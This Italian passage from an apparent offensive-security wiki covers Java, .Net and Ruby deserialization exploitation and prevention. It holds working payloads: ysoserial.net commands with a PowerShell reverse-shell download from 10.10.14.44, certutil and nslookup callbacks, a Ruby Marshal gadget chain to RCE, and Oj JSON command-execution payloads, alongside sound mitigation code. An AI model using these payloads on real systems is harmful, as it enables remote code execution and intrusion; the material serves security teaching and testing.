Puoi **usare** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **insieme a ysoserial per creare più exploit**. Maggiori informazioni su questo strumento nelle **diapositive del talk** in cui lo strumento è stato presentato: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next\_slideshow=1)
|
|
|
|
#### marshalsec
|
|
|
|
[**marshalsec** ](https://github.com/mbechler/marshalsec)può essere utilizzato per generare payload per sfruttare diverse librerie di serializzazione **Json** e **Yml** in Java.\
|
|
Per compilare il progetto ho dovuto **aggiungere** queste **dipendenze** a `pom.xml`:
|
|
```markup
|
|
<dependency>
|
|
<groupId>javax.activation</groupId>
|
|
<artifactId>activation</artifactId>
|
|
<version>1.1.1</version>
|
|
</dependency>
|
|
|
|
<dependency>
|
|
<groupId>com.sun.jndi</groupId>
|
|
<artifactId>rmiregistry</artifactId>
|
|
<version>1.2.1</version>
|
|
<type>pom</type>
|
|
</dependency>
|
|
```
|
|
**Installa maven**, e **compila** il progetto:
|
|
```bash
|
|
sudo apt-get install maven
|
|
mvn clean package -DskipTests
|
|
```
|
|
#### FastJSON
|
|
|
|
Leggi di più su questa libreria Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
|
|
|
### Labs
|
|
|
|
* Se vuoi testare alcuni payload ysoserial puoi **eseguire questa webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
|
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
|
|
|
### Why
|
|
|
|
Java utilizza molto la serializzazione per vari scopi come:
|
|
|
|
* **Richieste HTTP**: La serializzazione è ampiamente impiegata nella gestione dei parametri, ViewState, cookie, ecc.
|
|
* **RMI (Remote Method Invocation)**: Il protocollo RMI di Java, che si basa interamente sulla serializzazione, è un pilastro per la comunicazione remota nelle applicazioni Java.
|
|
* **RMI su HTTP**: Questo metodo è comunemente usato dalle applicazioni web client spesse basate su Java, utilizzando la serializzazione per tutte le comunicazioni tra oggetti.
|
|
* **JMX (Java Management Extensions)**: JMX utilizza la serializzazione per trasmettere oggetti attraverso la rete.
|
|
* **Protocolli personalizzati**: In Java, la prassi standard prevede la trasmissione di oggetti Java grezzi, che verrà dimostrata negli esempi di exploit futuri.
|
|
|
|
### Prevention
|
|
|
|
#### Oggetti transient
|
|
|
|
Una classe che implementa `Serializable` può implementare come `transient` qualsiasi oggetto all'interno della classe che non dovrebbe essere serializzabile. Ad esempio:
|
|
```java
|
|
public class myAccount implements Serializable
|
|
{
|
|
private transient double profit; // declared transient
|
|
private transient double margin; // declared transient
|
|
```
|
|
#### Evitare la serializzazione di una classe che deve implementare Serializable
|
|
|
|
In scenari in cui determinati **oggetti devono implementare l'interfaccia `Serializable`** a causa della gerarchia delle classi, c'è il rischio di deserializzazione involontaria. Per prevenire ciò, assicurati che questi oggetti non siano deserializzabili definendo un metodo `readObject()` `final` che lanci costantemente un'eccezione, come mostrato di seguito:
|
|
```java
|
|
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
|
throw new java.io.IOException("Cannot be deserialized");
|
|
}
|
|
```
|
|
#### **Migliorare la Sicurezza della Deserializzazione in Java**
|
|
|
|
**Personalizzare `java.io.ObjectInputStream`** è un approccio pratico per garantire la sicurezza dei processi di deserializzazione. Questo metodo è adatto quando:
|
|
|
|
* Il codice di deserializzazione è sotto il tuo controllo.
|
|
* Le classi previste per la deserializzazione sono conosciute.
|
|
|
|
Sovrascrivi il **`resolveClass()`** metodo per limitare la deserializzazione solo alle classi consentite. Questo impedisce la deserializzazione di qualsiasi classe tranne quelle esplicitamente autorizzate, come nell'esempio seguente che limita la deserializzazione solo alla classe `Bicycle`:
|
|
```java
|
|
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
|
public class LookAheadObjectInputStream extends ObjectInputStream {
|
|
|
|
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
|
super(inputStream);
|
|
}
|
|
|
|
/**
|
|
* Only deserialize instances of our expected Bicycle class
|
|
*/
|
|
@Override
|
|
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
|
if (!desc.getName().equals(Bicycle.class.getName())) {
|
|
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
|
|
}
|
|
return super.resolveClass(desc);
|
|
}
|
|
}
|
|
```
|
|
**Utilizzare un agente Java per il miglioramento della sicurezza** offre una soluzione di riserva quando la modifica del codice non è possibile. Questo metodo si applica principalmente per **il blacklisting di classi dannose**, utilizzando un parametro JVM:
|
|
```
|
|
-javaagent:name-of-agent.jar
|
|
```
|
|
Fornisce un modo per proteggere la deserializzazione in modo dinamico, ideale per ambienti in cui le modifiche immediate al codice sono impraticabili.
|
|
|
|
Controlla un esempio in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
|
|
|
**Implementazione dei filtri di serializzazione**: Java 9 ha introdotto i filtri di serializzazione tramite l'interfaccia **`ObjectInputFilter`**, fornendo un meccanismo potente per specificare i criteri che gli oggetti serializzati devono soddisfare prima di essere deserializzati. Questi filtri possono essere applicati globalmente o per stream, offrendo un controllo granulare sul processo di deserializzazione.
|
|
|
|
Per utilizzare i filtri di serializzazione, puoi impostare un filtro globale che si applica a tutte le operazioni di deserializzazione o configurarlo dinamicamente per stream specifici. Ad esempio:
|
|
```java
|
|
ObjectInputFilter filter = info -> {
|
|
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
|
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
|
|
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
|
|
return Status.REJECTED; // Restrict to allowed classes
|
|
}
|
|
return Status.ALLOWED;
|
|
};
|
|
ObjectInputFilter.Config.setSerialFilter(filter);
|
|
```
|
|
**Sfruttare le librerie esterne per una sicurezza migliorata**: Librerie come **NotSoSerial**, **jdeserialize** e **Kryo** offrono funzionalità avanzate per controllare e monitorare la deserializzazione in Java. Queste librerie possono fornire ulteriori livelli di sicurezza, come la whitelist o blacklist di classi, l'analisi di oggetti serializzati prima della deserializzazione e l'implementazione di strategie di serializzazione personalizzate.
|
|
|
|
* **NotSoSerial** intercetta i processi di deserializzazione per prevenire l'esecuzione di codice non attendibile.
|
|
* **jdeserialize** consente l'analisi di oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi.
|
|
* **Kryo** è un framework di serializzazione alternativo che enfatizza velocità ed efficienza, offrendo strategie di serializzazione configurabili che possono migliorare la sicurezza.
|
|
|
|
### Riferimenti
|
|
|
|
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
|
|
* Deserializzazione e talk di ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
|
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
|
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
|
* Talk su gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slide: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
|
* Documento Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
|
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
|
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
|
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
|
* Deserializzazione JSON in Java e .Net **documento:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
|
* CVE di deserializzazione: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
|
|
|
## Iniezione JNDI & log4Shell
|
|
|
|
Scopri cos'è **l'iniezione JNDI, come abusarne tramite RMI, CORBA e LDAP e come sfruttare log4shell** (e un esempio di questa vulnerabilità) nella pagina seguente:
|
|
|
|
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
|
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
|
{% endcontent-ref %}
|
|
|
|
## JMS - Servizio di messaggistica Java
|
|
|
|
> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata presso Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
|
|
|
### Prodotti
|
|
|
|
Ci sono diversi prodotti che utilizzano questo middleware per inviare messaggi:
|
|
|
|
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>)
|
|
|
|
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (1056).png>)
|
|
|
|
### Sfruttamento
|
|
|
|
Quindi, fondamentalmente ci sono un **gruppo di servizi che utilizzano JMS in modo pericoloso**. Pertanto, se hai **sufficienti privilegi** per inviare messaggi a questi servizi (di solito avrai bisogno di credenziali valide) potresti essere in grado di inviare **oggetti maligni serializzati che verranno deserializzati dal consumatore/sottoscrittore**.\
|
|
Questo significa che in questo sfruttamento tutti i **clienti che utilizzeranno quel messaggio verranno infettati**.
|
|
|
|
Dovresti ricordare che anche se un servizio è vulnerabile (perché deserializza in modo insicuro l'input dell'utente) devi comunque trovare gadget validi per sfruttare la vulnerabilità.
|
|
|
|
Lo strumento [JMET](https://github.com/matthiaskaiser/jmet) è stato creato per **connettersi e attaccare questi servizi inviando diversi oggetti maligni serializzati utilizzando gadget noti**. Questi exploit funzioneranno se il servizio è ancora vulnerabile e se uno dei gadget utilizzati è all'interno dell'applicazione vulnerabile.
|
|
|
|
### Riferimenti
|
|
|
|
* Talk su JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
|
* Slide: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
|
|
|
## .Net
|
|
|
|
Nel contesto di .Net, gli exploit di deserializzazione operano in modo simile a quelli trovati in Java, dove i gadget vengono sfruttati per eseguire codice specifico durante la deserializzazione di un oggetto.
|
|
|
|
### Impronta
|
|
|
|
#### WhiteBox
|
|
|
|
Il codice sorgente dovrebbe essere ispezionato per la presenza di:
|
|
|
|
1. `TypeNameHandling`
|
|
2. `JavaScriptTypeResolver`
|
|
|
|
L'attenzione dovrebbe essere rivolta ai serializer che consentono di determinare il tipo tramite una variabile sotto il controllo dell'utente.
|
|
|
|
#### BlackBox
|
|
|
|
La ricerca dovrebbe mirare alla stringa codificata in Base64 **AAEAAAD/////** o a qualsiasi modello simile che potrebbe subire deserializzazione sul lato server, concedendo il controllo sul tipo da deserializzare. Questo potrebbe includere, ma non è limitato a, strutture **JSON** o **XML** con `TypeObject` o `$type`.
|
|
|
|
### ysoserial.net
|
|
|
|
In questo caso puoi utilizzare lo strumento [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) per **creare gli exploit di deserializzazione**. Una volta scaricato il repository git, dovresti **compilare lo strumento** utilizzando Visual Studio, ad esempio.
|
|
|
|
Se vuoi sapere **come ysoserial.net crea il suo exploit** puoi [**controllare questa pagina dove viene spiegato il gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
|
|
|
Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.**
|
|
|
|
* **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che verrà abusata durante la deserializzazione per eseguire comandi).
|
|
* **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (devi sapere quale libreria sta utilizzando il back-end per deserializzare il payload e usare la stessa per serializzarlo)
|
|
* **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII, ma questo non significa che funzionerà sempre)._
|
|
* **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState
|
|
|
|
#### Altri parametri di ysoserial.net
|
|
|
|
* `--minify` fornirà un **payload più piccolo** (se possibile)
|
|
* `--raf -f Json.Net -c "anything"` Questo indicherà tutti i gadget che possono essere utilizzati con un formatter fornito (`Json.Net` in questo caso)
|
|
* `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà formatter contenenti "xml" (case insensitive)
|
|
|
|
**Esempi di ysoserial** per creare exploit:
|
|
```bash
|
|
#Send ping
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
|
|
|
#Timing
|
|
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
|
|
|
|
#DNS/HTTP request
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
|
|
|
|
#Reverse shell
|
|
#Create shell command in linux
|
|
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
|
|
#Create exploit using the created B64 shellcode
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
|
```
|
|
**ysoserial.net** ha anche un **parametro molto interessante** che aiuta a comprendere meglio come funziona ogni exploit: `--test`\
|
|
Se indichi questo parametro, **ysoserial.net** **proverà** l'**exploit localmente,** così puoi testare se il tuo payload funzionerà correttamente.\
|
|
Questo parametro è utile perché se rivedi il codice troverai pezzi di codice come il seguente (da [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
|
```java
|
|
if (inputArgs.Test)
|
|
{
|
|
try
|
|
{
|
|
SerializersHelper.JsonNet_deserialize(payload);
|
|
}
|
|
catch (Exception err)
|
|
{
|
|
Debugging.ShowErrors(inputArgs, err);
|
|
}
|
|
}
|
|
```
|
|
Questo significa che per testare l'exploit il codice chiamerà [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
|
```java
|
|
public static object JsonNet_deserialize(string str)
|
|
{
|
|
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
|
|
{
|
|
TypeNameHandling = TypeNameHandling.Auto
|
|
});
|
|
return obj;
|
|
}
|
|
```
|
|
In the **codice precedente è vulnerabile all'exploit creato**. Quindi, se trovi qualcosa di simile in un'applicazione .Net, significa che probabilmente anche quell'applicazione è vulnerabile.\
|
|
Pertanto, il **`--test`** parametro ci consente di capire **quali parti di codice sono vulnerabili** all'exploit di deserializzazione che **ysoserial.net** può creare.
|
|
|
|
### ViewState
|
|
|
|
Dai un'occhiata a [questo POST su **come provare a sfruttare il parametro \_\_ViewState di .Net**](exploiting-\_\_viewstate-parameter.md) per **eseguire codice arbitrario.** Se **conosci già i segreti** utilizzati dalla macchina vittima, [**leggi questo post per sapere come eseguire codice**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
|
|
|
### Prevention
|
|
|
|
Per mitigare i rischi associati alla deserializzazione in .Net:
|
|
|
|
* **Evitare di consentire ai flussi di dati di definire i propri tipi di oggetto.** Utilizzare `DataContractSerializer` o `XmlSerializer` quando possibile.
|
|
* **Per `JSON.Net`, impostare `TypeNameHandling` su `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
|
* **Evitare di utilizzare `JavaScriptSerializer` con un `JavaScriptTypeResolver`.**
|
|
* **Limitare i tipi che possono essere deserializzati**, comprendendo i rischi intrinseci con i tipi .Net, come `System.IO.FileInfo`, che può modificare le proprietà dei file del server, potenzialmente portando ad attacchi di denial of service.
|
|
* **Essere cauti con i tipi che hanno proprietà rischiose**, come `System.ComponentModel.DataAnnotations.ValidationException` con la sua proprietà `Value`, che può essere sfruttata.
|
|
* **Controllare in modo sicuro l'istanza dei tipi** per prevenire che gli attaccanti influenzino il processo di deserializzazione, rendendo vulnerabili anche `DataContractSerializer` o `XmlSerializer`.
|
|
* **Implementare controlli di white list** utilizzando un `SerializationBinder` personalizzato per `BinaryFormatter` e `JSON.Net`.
|
|
* **Rimanere informati sui gadget di deserializzazione insicuri noti** all'interno di .Net e assicurarsi che i deserializzatori non istanzino tali tipi.
|
|
* **Isolare il codice potenzialmente rischioso** dal codice con accesso a Internet per evitare di esporre gadget noti, come `System.Windows.Data.ObjectDataProvider` nelle applicazioni WPF, a fonti di dati non attendibili.
|
|
|
|
### **References**
|
|
|
|
* Documento sulla deserializzazione JSON di Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
|
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
|
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
|
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
|
|
|
## **Ruby**
|
|
|
|
In Ruby, la serializzazione è facilitata da due metodi all'interno della libreria **marshal**. Il primo metodo, noto come **dump**, viene utilizzato per trasformare un oggetto in un flusso di byte. Questo processo è noto come serializzazione. Al contrario, il secondo metodo, **load**, viene impiegato per riportare un flusso di byte indietro in un oggetto, un processo noto come deserializzazione.
|
|
|
|
Per proteggere gli oggetti serializzati, **Ruby utilizza HMAC (Hash-Based Message Authentication Code)**, garantendo l'integrità e l'autenticità dei dati. La chiave utilizzata per questo scopo è memorizzata in uno dei diversi possibili luoghi:
|
|
|
|
* `config/environment.rb`
|
|
* `config/initializers/secret_token.rb`
|
|
* `config/secrets.yml`
|
|
* `/proc/self/environ`
|
|
|
|
**Catena di gadget di deserializzazione generica Ruby 2.X a RCE (maggiori informazioni in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
|
```ruby
|
|
#!/usr/bin/env ruby
|
|
|
|
# Code from https://www.elttam.com/blog/ruby-deserialization/
|
|
|
|
class Gem::StubSpecification
|
|
def initialize; end
|
|
end
|
|
|
|
|
|
stub_specification = Gem::StubSpecification.new
|
|
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
|
|
|
|
puts "STEP n"
|
|
stub_specification.name rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Source::SpecificFile
|
|
def initialize; end
|
|
end
|
|
|
|
specific_file = Gem::Source::SpecificFile.new
|
|
specific_file.instance_variable_set(:@spec, stub_specification)
|
|
|
|
other_specific_file = Gem::Source::SpecificFile.new
|
|
|
|
puts "STEP n-1"
|
|
specific_file <=> other_specific_file rescue nil
|
|
puts
|
|
|
|
|
|
$dependency_list= Gem::DependencyList.new
|
|
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
|
|
|
puts "STEP n-2"
|
|
$dependency_list.each{} rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Requirement
|
|
def marshal_dump
|
|
[$dependency_list]
|
|
end
|
|
end
|
|
|
|
payload = Marshal.dump(Gem::Requirement.new)
|
|
|
|
puts "STEP n-3"
|
|
Marshal.load(payload) rescue nil
|
|
puts
|
|
|
|
|
|
puts "VALIDATION (in fresh ruby process):"
|
|
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
|
pipe.print payload
|
|
pipe.close_write
|
|
puts pipe.gets
|
|
puts
|
|
end
|
|
|
|
puts "Payload (hex):"
|
|
puts payload.unpack('H*')[0]
|
|
puts
|
|
|
|
|
|
require "base64"
|
|
puts "Payload (Base64 encoded):"
|
|
puts Base64.encode64(payload)
|
|
```
|
|
Altra catena RCE per sfruttare Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
|
|
|
### Metodo Ruby .send()
|
|
|
|
Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di un utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
|
|
|
|
Ad esempio, chiamare eval e poi codice ruby come secondo parametro permetterà di eseguire codice arbitrario:
|
|
|
|
{% code overflow="wrap" %}
|
|
```ruby
|
|
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
|
```
|
|
{% endcode %}
|
|
|
|
Inoltre, se solo un parametro di **`.send()`** è controllato da un attaccante, come menzionato nel precedente articolo, è possibile chiamare qualsiasi metodo dell'oggetto che **non necessita di argomenti** o i cui argomenti hanno **valori predefiniti**.\
|
|
Per questo, è possibile enumerare tutti i metodi dell'oggetto per **trovare alcuni metodi interessanti che soddisfano tali requisiti**.
|
|
|
|
{% code overflow="wrap" %}
|
|
```ruby
|
|
<Object>.send('<user_input>')
|
|
|
|
# This code is taken from the original blog post
|
|
# <Object> in this case is Repository
|
|
## Find methods with those requirements
|
|
repo = Repository.find(1) # get first repo
|
|
repo_methods = [ # get names of all methods accessible by Repository object
|
|
repo.public_methods(),
|
|
repo.private_methods(),
|
|
repo.protected_methods(),
|
|
].flatten()
|
|
|
|
repo_methods.length() # Initial number of methods => 5542
|
|
|
|
## Filter by the arguments requirements
|
|
candidate_methods = repo_methods.select() do |method_name|
|
|
[0, -1].include?(repo.method(method_name).arity())
|
|
end
|
|
candidate_methods.length() # Final number of methods=> 3595
|
|
```
|
|
{% endcode %}
|
|
|
|
### Altre librerie
|
|
|
|
Questa tecnica è stata presa[ **da questo post del blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm\_source=pocket\_shared).
|
|
|
|
Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi che potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente):
|
|
|
|
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardanti json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
|
|
|
|
Esempio base:
|
|
```ruby
|
|
# Existing Ruby class inside the code of the app
|
|
class SimpleClass
|
|
def initialize(cmd)
|
|
@cmd = cmd
|
|
end
|
|
|
|
def hash
|
|
system(@cmd)
|
|
end
|
|
end
|
|
|
|
# Exploit
|
|
require 'oj'
|
|
simple = SimpleClass.new("open -a calculator") # command for macOS
|
|
json_payload = Oj.dump(simple)
|
|
puts json_payload
|
|
|
|
# Sink vulnerable inside the code accepting user input as json_payload
|
|
Oj.load(json_payload)
|
|
```
|
|
Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadget che all'interno della sua funzione `hash` chiamerà `to_s`, che chiamerà spec, che chiamerà fetch\_path, il che è stato possibile farlo recuperare un URL casuale, fornendo un ottimo rilevatore di questo tipo di vulnerabilità di deserializzazione non sanificate.
|
|
```json
|
|
{
|
|
"^o": "URI::HTTP",
|
|
"scheme": "s3",
|
|
"host": "example.org/anyurl?",
|
|
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
|
|
}
|
|
```
|
|
Inoltre, è stato scoperto che con la tecnica precedente viene creata anche una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa come:
|
|
```json
|
|
{
|
|
"^o": "Gem::Resolver::SpecSpecification",
|
|
"spec": {
|
|
"^o": "Gem::Resolver::GitSpecification",
|
|
"source": {
|
|
"^o": "Gem::Source::Git",
|
|
"git": "zip",
|
|
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
|
|
"root_dir": "/tmp",
|
|
"repository": "anyrepo",
|
|
"name": "anyname"
|
|
},
|
|
"spec": {
|
|
"^o": "Gem::Resolver::Specification",
|
|
"name": "name",
|
|
"dependencies": []
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Controlla ulteriori dettagli nel [**post originale**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm\_source=pocket\_shared).
|
|
|
|
{% hint style="success" %}
|
|
Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
